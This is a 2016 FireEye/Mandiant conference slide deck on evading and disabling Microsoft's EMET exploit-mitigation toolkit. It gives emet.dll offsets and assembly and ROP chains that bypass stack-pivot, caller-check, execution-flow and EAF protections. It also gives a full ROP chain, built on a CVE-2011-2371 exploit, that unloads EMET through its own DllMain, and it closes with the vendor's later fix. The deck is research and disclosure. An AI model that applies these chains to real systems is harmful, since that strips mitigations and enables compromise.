USING EMET TO DISABLE EMET

Presented by
Abdullah Alsaheel, Consultant
Raghav Pande, Research Scientist

COPYRIGHT © 2016, FIREEYE, INC. ALL RIGHTS RESERVED.
Abdullah Alsaheel

• Consultant at Mandiant (A FireEye Company) Saudi Arabia, Riyadh office.
• Acted as a software developer.
  • The National Company of Telecommunication and Information Security – NCTIS.
• Research focus
  • Software Security Assessments.
  • Exploit Development.
  • Malware Reverse Engineering.
Raghav Pande

• Researcher at FireEye, Bangalore office.
• Focus
  • Software Development.
  • System Security.
  • Automation.
  • Detection Research.
WHAT IF I TOLD YOU

YOU CAN DISABLE EMET USING "ADD/REMOVE PROGRAMS"
Outlines

• EMET Introduction
• Previous Techniques for EMET Disabling
• Techniques for EMET Evasion
• Evading Hooks and Anti-Detours
• Application of Evasion Research
• New Technique to Disable EMET Using EMET
• Demonstration
• Importance of Custom Exploit Prevention Solutions
• Q/A
EMET Introduction

• Microsoft’s Enhanced Mitigation Experience Toolkit (EMET)
  • Tool that adds security mitigations to user mode programs.
  • Runs inside programs as a Dynamic Link Library (DLL).
  • Uses userland inline hooking to implement mitigations.
  • Makes various changes to protected programs.
Detoured vs. Detouring
EMET Protections

• EMET 1.x, released in October 27, 2009
  • Structured Exception Handling Overwrite Protection (SEHOP).
  • Dynamic Data Execution Prevention (DEP).
  • NULL page allocation.
  • Heap spray allocation.

• EMET 2.x, released in September 02, 2010
  • Mandatory Address Space Layout Randomization (ASLR).
  • Export Address Table Access Filtering (EAF).
EMET Protections

- EMET 3.x, released in May 25, 2012
  - Imported mitigations from ROPGuard to protect against Return Oriented Programming (ROP).
    - Memory Protection Checks.
    - Caller Check.
    - Stack Pivot.
    - Simulate Execution Flow.
  - Bottom-up ASLR.
  - Load Library Checks.
EMET Protections

- EMET 4.x, released in April 18, 2013
  - Deep Hooks.
  - Anti-detours.
  - Banned functions.
  - Certificate Trust (configurable certificate pinning).
- EMET 5.x, released in July 31, 2014
  - Attack Surface Reduction (ASR).
  - EAF+.
Previous Techniques For EMET Disabling

• EMET 4.1 disable switch:
  • Exported global variable located at offset 0x0007E220 in emet.dll, in writable data section. (offensive-security)

• EMET 2.1 disable switch:
  • Exported global variable located at offset 0x0000C410 in emet.dll, also in writable data section.
Previous Techniques For EMET Disabling

• EAF protection can be disabled by clearing hardware breakpoints:
  • CONTEXT structure with zero out its debugging registers values.
    
    typedef struct _CONTEXT {
    DWORD   ContextFlags;
    DWORD   Dr0;
    DWORD   Dr1;
    DWORD   Dr2;
    DWORD   Dr3;
    
    } CONTEXT;

• NtSetContextThread or NtContinue can be used to set the CONTEXT to the current thread. (Piotr Bania)
Previous Techniques For EMET Disabling

- EMET 5.0 disable switch:
  - Global variable placed on the heap within a large structure (i.e. CONFIG_STRUCT) with the size of 0x560 bytes.
  - Pointer to CONFIG_STRUCT located at offset 0x0AA84C in emet.dll
  - Zero out CONFIG_STRUCT+0x558 turns off most of EMET protections.
  - To disable EAF and EAF+ there is unhooked pointer to NtSetContextThread stored at CONFIG_STRUCT+0x518. (offensive-security)
Previous Techniques For EMET Disabling

- EMET 5.1 disable switch:
  - Global variable at offset 0x000F2A30 in emet.dll holds encoded pointer value to some structure (i.e. EMETd).
  - EMETd structure has a pointer field to CONFIG_STRUCT structure that holds the global switch at the offset CONFIG_STRUCT+0x558.
  - Since the global switch is in read-only memory page, an unhooked pointer to ntdll!NtProtectVirtualMemory stored at CONFIG_STRUCT+0x1b8 can be used to mark it as a writable memory page.
  - Same as EMET 5.0, to disable EAF and EAF+ there is unhooked pointer to NtSetContextThread stored at CONFIG_STRUCT+0x518. (offensive-security)
Techniques for EMET Evasion

• Most used protections
  • Stack Pivot.
  • Caller Check.
  • SimExecFlow.
  • EAF.
Most Used Protections

• Stack Pivot
  • Stack Switching (not new)
  • Custom Class (not new, observed in CVE-2015-3113)
Stack Pivot

• Stack Switching

```assembly
xchg eax, esp; retn

pop ecx; retn
[gadget]
mov [eax], ecx; retn

pop ecx; retn
[gadget]
sub eax, 4; retn
mov [eax], ecx; retn

pop ecx; retn
[gadget]
sub eax, 4; retn
mov [eax], ecx; retn

... ...

xchg eax, esp; retn
```
Custom Class

```java
class CustomClass {
    public function victimFunction(arg1:uint, arg2:uint, ..., arg60:uint):uint

    this.customObj.victimFunction(
    6f37b68b, // ret; (ROPjled)
    ...
    6f37b68a, // pop eax
    1f140100,
    6f36dal, // call Kernel32!VirtualAlloc(0x1f140000, 0x10000, 0x1000, 0x10)
    1f140000, // Address
    00010000, // Size
    00001000, // Type
    00000040, // Protection = RWX
    6f37b68b*9 // ret (ROPjled)
    6f36da7*2 // ret
    6f73aff0 pop ecx
    6f36d7a7
    6f36d7a7 jmp [eax]
    ...
}
```
Most Used Protections

- Caller Check
  - Using CALL gadget (with proper destination).
  - Return into shellcode.
Caller Check

- Using CALL Gadget

  ```
  pop ecx; retn
  0xdeaddead; //VirtualProtect IAT
  call [ecx]; retn
  0x76d0100; //address
  0x1000; //size
  0x40; //protection
  0x76d0100; //writable memory
  0x76d0110 //shelocode address
  ```

- Detection Logic
  - Check if return address is preceded by a call.
  - Check if that call is destined towards hooked API.
Caller Check

• Return Into Shellcode

```
    pop ecx; ret
    0xdeaddead; //VirtualProtect IAT

    jmp [ecx];
    0x76d0110; //shellcode start as return address
    0x76d0100; //address
    0x1000; //size
    0x40; //protection
    0x76d0100; //writable memory
```

• State of Memory

```
    Return Address -2
    call [ecx]

    Return Address:
    sub esp,0x30
    pushad
    mov ebp,esp
    //Continue Shellcode
```
Most Used Protections

• SimExecFlow
  • Double call gadget
  • ~20 Ret
SimExecFlow

- Double Call Gadget

```
pop esi; ret
0x757be326; //VirtualProtect Address
pop ebp; ret
0x76d0110; //Shellcode Address
0x74aa9d69; //Double Call Address (mshtml.dll)
```

Double Call:
call esi
call ebp
call esp
call ebx
SimExecFlow

• ~20 Return Instructions

```plaintext
pop eax; retn
0x757be326 //VirtualProtect Address

0x621f5d89 //call eax; retn
0x76d0100; //lpAddress
0x1000; //dwSize
0x40; //Protection
0x76d0100; //Writable Location

0x621f5d8b //ret
0x621f5d8b //ret
0x621f5d8b //ret
0x621f5d8b //ret
...
0x76d0110; //Shellcode Location
```
Most Used Protections

• EAF
  • Modifying PEB
  • Using IAT instead of EAT
EAF

• Modifying PEB

```
SUB ESP, 0x4000
MOV EAX, DWORD PTR FS: [30]
MOV EAX, DWORD PTR DS: [EAX+C]
MOV EAX, DWORD PTR DS: [EAX+14]
MOV ESI, DWORD PTR DS: [EAX+10]
MOV ECX, 0x1000
CALL next
next:
POP EDI
SUB EDI, 0x1019
REP MOVSB BYTE PTR ES: [EDI], BYTE PTR DS: [ESI]
ADD EAX, 10
SUB EDI, 1000
MOV DWORD PTR DS: [EAX], EDI
```
EAF

- Using IAT instead of EAT
- Common targets
  - Msvcrtdll
  - User32.dll
Targeted Evasion

- Easy to deploy
- Hook Evasion using ROP
- Product specific
- Failure chances are high
EMET Evasion

• Assumptions
  • ROP execution
  • Address of any of the following API is available
    • ZwProtectVirtualMemory
    • VirtualProtectEx
    • VirtualProtect
    • ZwAllocateVirtualMemory
    • VirtualAllocEx
    • VirtualAlloc
    • WriteProcessMemory
    • LoadLibraryA
EMET Evasion

- Find API address
- Check if function prologue is reachable
- Calculate saved prologue address from API address
- JMP to saved prologue
EMET Evasion
EMET Evasion

• Chain required

```
xchg eax,esp; retn    //Stack Pivot

pop eax; retn
Address of VirtualProtect

mov ecx,eax; retn    //Copy Address to another register
inc eax; retn        //point eax to relative DWORD
mov eax,[eax]; retn  //take DWORD in eax
add eax,ecx; retn    //relative offset + ApiAddress + 1
add eax,4; retn
inc eax; retn        //eax pointing to hook trampoline

pop ecx; retn
0x26

add eax,ecx; retn    //eax points to saved prologue now

jmp eax
Shellcode Address
Shellcode Address
Size
Protection
Writable Memory
```
Application of Evasion Research

- Exploit Detection Products
  - Shared Protections
  - Few Extra per each one
  - Some Modded over each other
  - Evasion of one protection affects others
  - Design flaws are unusually common
Application of Evasion Research

• Main Highlights
  • Return Address validation.
  • Exception validation.
  • Attack surface reduction.
Application of Evasion Research

- Evasion
  - Not so common
  - However Attackers are catching up
    - CVE-2015-2545 evading EMET
    - Angler Exploit kit Evading EMET
New Technique to Disable EMET

- At EMET.dll+0x65813 there is a function responsible for unloading EMET.
  - Reachable from DllMain().

- Jumping there results in subsequent calls, which:
  - Remove EMET’s installed hooks.
  - Zero out the debugging registers (Disabling EAF & EAF+ mitigations).
New Technique to Disable EMET

• Prototype of DllMain:
  • BOOL WINAPI DllMain(
    _In_ HINSTANCE hinstDLL,
    _In_ DWORD fdwReason,
    _In_ LPVOID lpvReserved
  );

  hinstDLL: A handle to the DLL module.
  fdwReason: x00 if DLL_PROCESS_DETACH, 0x01 if DLL_PROCESS_ATTACH or 0x02 if DLL_THREAD_ATTACH.
  lpvReserved: NULL if FreeLibrary has been called or the DLL load failed.

• DllMain(GetModuleHandleA("EMET.dll") , DLL_PROCESS_DETACH , NULL);

  • Note: GetModuleHandleA is not hooked by EMET.
New Technique to Disable EMET

- At EMET.dll+0x27298 there is a function that removes EMET hooks.
New Technique to Disable EMET

- struct Detoured_API {
  BOOL isActive; // isActive field shows the hooking status, Active: 0x1
  PVOID DetouredAPIConfig; // pointer to Detoured_API_Config structure
  PVOID nextDetouredAPI; // pointer to the next Detoured_API structure
};

- struct Detoured_API_Config {
  PVOID DetouredWindowsAPI; // pointer to the detoured Windows API
  PVOID EMETDetouringFunction; // pointer to where EMET protection implemented
  PVOID DetouredFunctionPrologue; // pointer to the Windows API prologue
  ...
};
New Technique to Disable EMET

• Patch_Functions walks the Hook_Config linked list of structures.

• struct Hook_Config {
  PVOID nextHookConfig;       // pointer to the next Hook_Config
  BOOL isActive;              // isActive field shows the hooking status, Active: 0x1
  PVOID ptrEffectiveFunction; // pointer to EMETDetouringFunction or non-detoured API
  PVOID DetouredWindowsAPI;   // pointer to the detoured Windows API
  PVOID EMETDetouringFunction; // pointer to where EMET protection implemented
  ...
};
New Technique to Disable EMET

- PatchFunctions memcpy:

```
00027BEF mov ecx, [esi+10h] ; ECX => Hook_Config.EMETDetouringFunction
00027BF2 movzx eax, byte ptr [ecx+66h] ; size of detoured Windows API prologue
00027BF6 push eax ; size_t
00027BF7 lea eax, [ecx+50h] ; Src: detoured Windows API prologue
00027BFA push eax ; void *
00027BFB push dword ptr [esi+0Ch] ; Dest: Windows API address
00027BFE call memcpy
00027C03 mov eax, [esi+0Ch]
00027C06 add esp, 0Ch
00027C09 jmp short loc_27C44
```
New Technique to Disable EMET

• Before calling Patch_Functions:

```
0:005> u LoadLibraryA
kernel32\LoadLibraryA:
7715395c e97fc081c0 jmp 378701e0
7715395e 837d0030 cmp dword ptr [ebp+8].0
77153960 63 push ebx
77153962 66 push esi
77153964 57 push edi
77153966 7418 je kernel32\LoadLibraryA+0x4f (771539e2)
77153968 6690391577 push offset kernel32\`string` (77153998)
7715396e 4f7500 push dword ptr [ebp+8]
```

• After calling Patch_Functions:

```
0:001> u LoadLibraryA
kernel32\LoadLibraryA:
7715395c 8b7f mov edi,edi
7715395e 55 push ebp
77153960 8b7e mov ebp,esp
77153962 837d0000 cmp dword ptr [ebp+8].0
77153964 63 push ebx
77153966 66 push esi
77153968 57 push edi
7715396a 7418 je kernel32\LoadLibraryA+0x4f (771539e2)
```
New Technique to Disable EMET
EAF & EAF+ protections

• At EMET.dll+0x609D0 there is a function that zeroes out and reinitializes CONTEXT structure.
• Zero out CONTEXT structure code.

```assembly
000609E5    push   2C8h ; size_t
000609EA    lea    eax, [ebp+Context.Dr0]
000609F0    mov    edi, ecx
000609F2    push   0 ; int
000609F4    push   eax ; void *
000609F5    call   memset ; zero out the CONTEXT structure
```
New Technique to Disable EMET
EAF & EAF+ protections

- Then it calls NtSetContextThread to disable EAF & EAF+ mitigations.

```
lea   eax, [ebp+Context]
mov   ecx, esi
push  eax
push  edi
push  esi
call  ds:off_802EC
call  esi     ; NtSetContextThread
xor   ecx, ecx
test  eax, eax
sets  al
```
New Technique to Disable EMET
ROP Implementation

• We built our ROP gadgets on top of an existing exploit for old vulnerability CVE-2011-2371.

• ROP gadgets considerations:
  • MZ signature is at EMET.dll base address.
  • Offset to PE signature (i.e. PE_HEADER) is at EMET_BASE_ADDRESS + 0x3C.
  • AddressOfEntryPoint offset is at EMET_BASE_ADDRESS + PE_HEADER + 0x28.
  • DllMain() is at EMET_BASE_ADDRESS + AddressOfEntryPoint.
  • Call the DllMain() with the parameters (EMET.dll base address, 0, 0).
New Technique to Disable EMET
ROP Implementation

```
MOV ESP,44090000 # ~ # RETN // STACKPIVOT
POP EAX # RETN // STORE GetModuleHandleA IAT POINTER INTO EAX
MOZCRT19+0x79010 // MOZCRT191_imp__GetModuleHandleA
MOV EAX,DWORD PTR DS:[EAX] # RETN // GET GetModuleHandleA ADDRESS
PUSH EAX # RETN # // Call GetModuleHandleA("EMET.dll")
Return Address XOR EDX,EDX # RETN // ZERO OUT ECX
0x44090108 // "EMET" STRING ADDRESS (GetModuleHandleA PARAMETER)
OR EDX,EAX # ~ # RETN // STORE EMET.dll EMET_BASE_ADDRESS INTO EDX
POP EBX # RETN // STORE DllMain() PARAMETER1 ADDRESS (i.e. hinstDLL) INTO EBX
0x440900A4 // DllMain() PARAMETER1 (i.e. hinstDLL) ADDRESS
MOV DWORD PTR DS:[EBX],EAX # ~ # RETN // hinstDLL PATCH WITH EMET_BASE_ADDRESS
POP ECX # RETN # // STORE 0x3C (i.e. IMAGE_DOS_HEADER) INTO ECX
0x0000003C // IMAGE_DOS_HEADER OFFSET
ADD ECX,EDX # ADD EAX,ECX # ~ # RETN // EAX = EMET_BASE_ADDRESS+0x3C
MOV EAX,DWORD PTR DS:[EAX] # RETN // GET PE_HEADER OFFSET
POP ECX # RETN # // STORE AddressOfEntryPoint OFFSET INTO ECX
0x00000028 // AddressOfEntryPoint OFFSET
ADD ECX,EDX # ADD EAX,ECX # ~ # RETN // EAX = EMET_BASE_ADDRESS+PE_HEADER+0x28
MOV EAX,DWORD PTR DS:[EAX] # RETN // GET DllMain() OFFSET
POP ECX # RETN # // ZERO OUT ECX
0x00000000
ADD ECX,EDX # ADD EAX,ECX # ~ # RETN // EAX = EMET_BASE_ADDRESS+DllMain
Call EAX // CALL DllMain(GetModuleHandleA("EMET.dll"), DLL_PROCESS_DETACH, NULL)
0x42424242 // hinstDLL = GetModuleHandleA("EMET.dll") (TO BE PATCHED)
0x00000000 // fdwReason = DLL_PROCESS_DETACH
0x00000000 // lpvReserved = 0x00000000
```
New Technique to Disable EMET

• Pros:
  • Easy and reliable.
  • Write once, and disable EMET everywhere.
    • EMET (4.1, 5.1, 5.2, 5.2.0.1).
  • EAF & EAF+ protections do not require a special treatment.
New Technique to Disable EMET
EMET 5.5 Fix

- Additional checks on the DllMain().
- Unloading code still exist at offset 0x00063ADE in emet.dll.
  - Detoured_API structures and Hook_Config still exist.
  - Hook_Config.EMETDetouringFunction retrieves hook address and size, instead of the API original prologue address and size.
  - memcpy.
Importance of custom exploit prevention solutions

- Security Through Obscurity
  - Not too effective, but we should not rule it out
  - Gives defensive measures more time
- Unknown Detection System
  - More advantageous
  - More effective telemetry
- Using Multi Layered Defenses
  - Some products miss, some products catch.
Acknowledgments

• Michael Sikorski
• Dan Caselden
• Corbin Soufrant
• Genwei Jiang
• Matthew Graeber
THANK YOU